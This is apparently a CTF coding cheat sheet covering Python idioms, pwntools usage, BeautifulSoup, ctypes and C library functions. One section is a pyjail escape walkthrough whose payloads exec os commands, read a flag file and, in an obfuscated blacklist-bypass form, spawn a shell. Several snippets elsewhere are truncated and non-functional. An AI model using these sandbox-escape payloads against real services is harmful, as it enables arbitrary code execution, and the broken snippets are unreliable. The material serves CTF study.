Coding Quick Reference




packets = rdpcap("/spare/captures/isakmp.cap")

Read/Write File

The below code reads a file from a particular offset and reads/skips and write bytes.

""" Read bytes and write output"""

# Write output in a file
output = open("", "wb")

# Open a file
with open ("output.bmp", "rb") as file:
    # Start reading from
    hdr =
    skip =
    while skip:
        keep =
        skip =


A file might contains few patterns representing binary (0 & 1). pwnutils can be used to read the file and replace the patterns.

from pwn import *

with open("whitepages.txt", "rb") as bin_file:
    data = bytearray(
    data = data.replace(b'\xe2\x80\x83', b'0')
    data = data.replace(b'\x20', b'1')
    data = data.decode("ascii")


Random Seed

# seed a pseudorandom number generator with the time

The random number generator in the original script was seeded with the time, but only to the second. If the above is used in sending the packets. The arrival time for the first packet should be close enough of an approximation to get the same seed (if not, I could subtract a few seconds until it works).

Use python

  • [::-1] means

    Assumming a is a string. The Slice notation in python has the syntax -


So, when you do a[::-1] , it starts from the end, towards the first, taking each element. So it reverses a. This is applicable for lists/tuples as well.


>>> a = '1232'
>>> a[::-1]
  • binascii.unhexlify(hexstr) to convert hex to string

  • base64.decodestring(str) to decode base64 string

  • Convert number to hex

  • Convert hex to decimal

s = "6a48f82d8e828ce82b82"
i = int(s, 16)
  • Extract numbers from a string: Use a regexp :

>>> import re
>>> re.findall(r'\d+', 'hello 42 I\'m a 32 string 30')
['42', '32', '30']

This would also match 42 from bla42bla. If you only want numbers delimited by word boundaries (space, period, comma), you can use b :

>>> re.findall(r'\b\d+\b', 'he33llo 42 I\'m a 32 string 30')
['42', '32', '30']
  • Extract string inside single quotes using python script

Use re.findall:

>>> import re
>>> strs = """text:u'MUC-EC-099_SC-Memory-01_TC-25'

>>> re.findall(r"'(.*?)'", strs, re.DOTALL)
  • ASCII value of a character in Python

function ord() would get the int value of the char. And in case you want to convert back after playing with the number, function chr() does the trick.

>>> ord('a')
  • Solving Algebraic equations using python: Use sympy Use solve() to solve algebraic equations. We suppose all equations are equaled to 0, so solving x**2 == 1 translates into the following code:

>>> from sympy.solvers import solve
>>> from sympy import Symbol
>>> x = Symbol('x')
>>> solve(x**2 - 1, x)
[-1, 1]

The first argument for solve() is an equation (equaled to zero) and the second argument is the symbol that we want to solve the equation for.

  • AVL Tree Implementation in Python : python-avl-tree

  • Convert all strings in a list to int So if we have:

results = ['1', '2', '3']

How do I make it:

results = [1, 2, 3]

Use the map function(in py2):
results = map(int, results)

In py3:

results = list(map(int, results))
  • Read the RGB value of a given pixel in Python?

from PIL import Image
im ="dead_parrot.jpg") #Can be many different formats.
pix = im.load()
print im.size #Get the width and hight of the image for iterating over
print pix[x,y] #Get the RGBA Value of the a pixel of an image
pix[x,y] = value # Set the RGBA Value of the image (tuple)"alive_parrot.png") # Save the modified pixels as png
  • Convert Text to Binary and back?

    >>> import binascii
    >>> bin(int(binascii.hexlify('hello'), 16))

In reverse:

>>> n = int('0b110100001100101011011000110110001101111', 2)
>>> binascii.unhexlify('%x' % n)
  • function ord() would get the int value of the char. And in case you want to convert back after playing with the number, function chr() does the trick.

>>> ord('a')
>>> chr(97)
>>> chr(ord('a') + 3)
  • String formating of numbers in python (Print 0000 - 9999)

>>> for i in xrange(10):
...     '{0:04}'.format(i)
  • Insert a newline character every 64 characters using Python

s = "0123456789"*100 # test string
import re
print re.sub("(.{64})", "\\1\n", s, 0, re.DOTALL)
  • Having a function where you can provide parameter in online webform? Like there is a function definition like def fun() where we can pass two arguments, that are interpreted.

    def fun(User_Input):
        c = a + b
            return c


1.   a,b=dir()[0]
2.   a,b=print("Hello")
3.   a,b=print(exec("import os"),eval("os.listdir('.')"))

Cat a file?

1.   a, b, c = __import__('os').system('cat FLAG')
2.   a,b=print(open("FLAG", "r").read())

The above should work fine till there are no blacklist wordlist provided.

Let’s craft a payload to bypass the blacklist.

Create a string class (also works with list or dict)

>>> ''.__class__
<class 'str'>

Now we need the parent class, there is two ways:

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>

Now we have the object class. So we can access to all the child classes:

>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class ''>, <class ''>, <class ''>, <class 'async_generator'>, <class ''>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class ''>, <class ''>, <class ''>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class ''>, <class ''>, <class ''>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]

Let’s find a more suitable way to access the subclasses by index:

>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
...   print(i,': ',val)

Using __init__ to initialize the class and __globals__ to access the global namespace of the module in which the function was defined.

pyjail WU was able to call sys from codecs.StreamReaderWriter class.

<class 'codecs.StreamReaderWriter'>`

So from this namespace we are able to call sys.

>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>

Then it’s easy to import os:

>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/'>

And finally using system method to launch a system command and read the flag:

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

However if “.” and “__” are also blacklisted then we can use

  • Without . to call method, we can use getattr instead

  • Without __import__, we can use catch_warnings in {}.__class__.__base__.__subclasses__()

{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)] this will give me catch_warnings
{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)]()._module.__builtins__["__import__"]("os").system("sh") this will give me shell

Then we just need to change . to getattr, and _ to dir(0)[0][0] Final payload :

getattr(getattr(getattr(getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()[getattr([getattr(i, dir(0)[0][0]*2+"name"+dir(0)[0][0]*2) == "catch"+dir(0)[0][0]+"warnings" for i in getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()], "index")(True)](), dir(0)[0][0]+"module"), dir(0)[0][0]*2+"builtins"+dir(0)[0][0]*2)[dir(0)[0][0]*2+"imp"+"ort"+dir(0)[0][0]*2]("o"+"s"), "sy"+"stem")("sh")


A tag may have any number of attributes. The tag <b id=”boldest”> has an attribute “id” whose value is “boldest”. You can access a tag’s attributes by treating the tag like a dictionary:

tag[‘id’] # u’boldest’

You can access that dictionary directly as .attrs:

tag.attrs # {u’id’: ‘boldest’}

and read the tag value using


If you have something like

<form id="form_product_page" name="form_1362737440" action="/download/791055/164084/" method="get">
<input id="nojssubmit" type="submit" value="Download" />

and want action value we can

action = soup.find('form', id='form_product_page').get('action')


pwntools is a CTF framework and exploit development.

Installing Pwntools

Ubuntu and Debian

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Verifying Installation

Check if below command works:

$ python -c 'from pwn import *'
Foreign Architectures

If we want to assemble or disassemble code for foreign architectures, install appropriate binutils installation.

$ apt-get install binutils-*


Tubes are effectively I/O wrappers for most types of I/O

  • Local processes

  • Remote TCP or UDP connections

  • Processes running on a remote server over SSH

  • Serial port I/O

Basic IO

The basic functions

Receiving data
  • recv(n) - Receive any number of available bytes

  • recvline() - Receive data until a newline is encountered

  • recvuntil(delim) - Receive data until a delimiter is found

  • recvregex(pattern) - Receive data until a regex pattern is satisfied

  • recvrepeat(timeout) - Keep receiving data until a timeout occurs

  • clean() - Discard all buffered data

Sending data
  • send(data) - Sends data

  • sendline(line) - Sends data plus a newline

  • sendlineafter(delim, data, timeout=default) - Sends data after delim

Manipulating integers
  • pack(int) - Sends a word-size packed integer

  • unpack() - Receives and unpacks a word-size integer

Processes and Basic Features

In order to create a tube to talk to a process, we create a process object and give it the name of the target binary. If we want to run a local binary, instead of process('sh'), it would be process('./local_binary').

If we need to provide command-line arguments, or set the environment, additional options are available.

from pwn import *

io = process(['sh', '-c', 'echo $MYENV'], env={'MYENV': 'MYVAL'})
# 'MYVAL\n'

Reading binary data isn’t a problem either. You can receive up-to a number of bytes with recv, or block for an exact count with recvn.

from pwn import *

io = process(['sh', '-c', 'echo A; sleep 1; echo B; sleep 1; echo C; sleep 1; echo DDD'])

# 'A\n'

# 'B\nC\n'

# 0xa444444
Interactive Sessions
from pwn import *

# Let's pretend we're uber 1337 and landed a shell.
io = process('sh')

# <exploit goes here>


Creating a network connection is also easy, and has the exact same interface. A remote object connects to somewhere else, while a listen object waits for a connection.

from pwn import *

io = remote('', 80)
io.send('GET /\r\n\r\n')
# 'HTTP/1.0 200 OK\r\n'

If you need to specify protocol information, it’s also pretty straightforward.

from pwn import *

dns  = remote('', 53, typ='udp')
tcp6 = remote('', 80, fam='ipv6')

Listening for connections isn’t much more complex. Note that this listens for exactly one connection, then stops listening.

from pwn import *

client = listen(8080).wait_for_connection()
Secure Shell

SSH connectivity is similarly simple. Compare the code below with that in “Hello Process” above.

You can also do more complex things with SSH, such as port forwarding and file upload / download. See the [SSH tutorial][ssh] for more information.

from pwn import *

session = ssh('bandit0', '', password='bandit0')

io = session.process('sh', env={"PS1":""})
io.sendline('echo Hello, world!')
# 'Hello, world!\n'
Serial Ports

In the event you need to get some local hacking done, there’s also a serial tube. As always, there is more information in the [full online documentation][serial].

from pwn import *

io = serialtube('/dev/ttyUSB0', baudrate=115200)


>>> from pwn import *

Making Connections

conn = remote('',21)

Receiving Lines

conn.recvuntil(' ', drop=True)

Sending Lines

conn.send('USER anonymous\r\n')


  • unbits: Converts an iterable of bits into a string.

  • unhex: Hex-decodes a string.

Pwn Templates

pwn template command can be used for generating templates.


A foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python. ctypes exports the cdll, and on Windows windll and oledll objects, for loading dynamic link libraries.


  • mysqli_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection.

  • filter_var — Filters a variable with a specified filter. There are multiple types of filter such as Validate, Sanitize etc.

  • Exploitable PHP Functions


  1. In a new tab, type or paste about:config in the address bar and press Enter/Return. Click the button promising to be careful.

  2. In the search box above the list, type or paste captiv and pause while the list is filtered

(3) Double-click the network.captive-portal-service.enabled preference to switch the value from true to false If you are in a managed environment using an autoconfig file, for example, you could use this to switch the default: user_pref(“network.captive-portal-service.enabled”, false);

Generating Wordlists

Many times we need to generate a wordlist. There are multiple tools for it.



C Programming




Generate random number: Returns a pseudo-random integral number in the range between 0 and RAND_MAX.

int rand (void);
  • This number is generated by an algorithm that returns a sequence of apparently non-related numbers each time it is called. This algorithm uses a seed to generate the series, which should be initialized to some distinctive value using function srand.

  • A typical way to generate trivial pseudo-random numbers in a determined range using rand is to use the modulo of the returned value by the range span and add the initial value of the range:

    v1 = rand() % 100;         // v1 in the range 0 to 99
    v2 = rand() % 100 + 1;     // v2 in the range 1 to 100
    v3 = rand() % 30 + 1985;   // v3 in the range 1985-2014
    • Notice though that this modulo operation does not generate uniformly distributed random numbers in the span (since in most cases this operation makes lower numbers slightly more likely).


The pseudo-random number generator is initialized using the argument passed as seed.

void srand (unsigned int seed);
  • For every different seed value used in a call to srand, the pseudo-random number generator can be expected to generate a different succession of results in the subsequent calls to rand.

  • Two different initializations with the same seed will generate the same succession of results in subsequent calls to rand.

  • If seed is set to 1, the generator is reinitialized to its initial value and produces the same values as before any call to rand or srand.



The C library function fgets reads a line from the specified stream and stores it into the string pointed to by str. It stops when either (n-1) characters are read, the newline character is read, or the end-of-file is reached, whichever comes first.

char *fgets(char *str, int n, FILE *stream)
  • str: pointer to an array of chars where the string read is stored.

  • n: maximum number of characters to be read (including the final null-character). Usually, the length of the array passed as str is used.

  • stream: pointer to a FILE object that identifies the stream where characters are read from.

Return value

On success, the function returns the same str parameter.

  • If the End-of-File is encountered and no characters have been read, the contents of str remain unchanged and a null pointer is returned.

  • If an error occurs, a null pointer is returned.

Data conversion


Hex from little endian to big-endian


  • first converts the hexadecimal string to a bytearray,

  • then reverses the order of the elements in the bytearray using [::-1], and

  • finally converts the reversed bytearray back to a hexadecimal string using .hex().

hex_str = "AABBCCDD"
result = bytearray.fromhex(hex_str)[::-1].hex()

Hex to ASCII

part_flag = "7069636f"
# b'pico'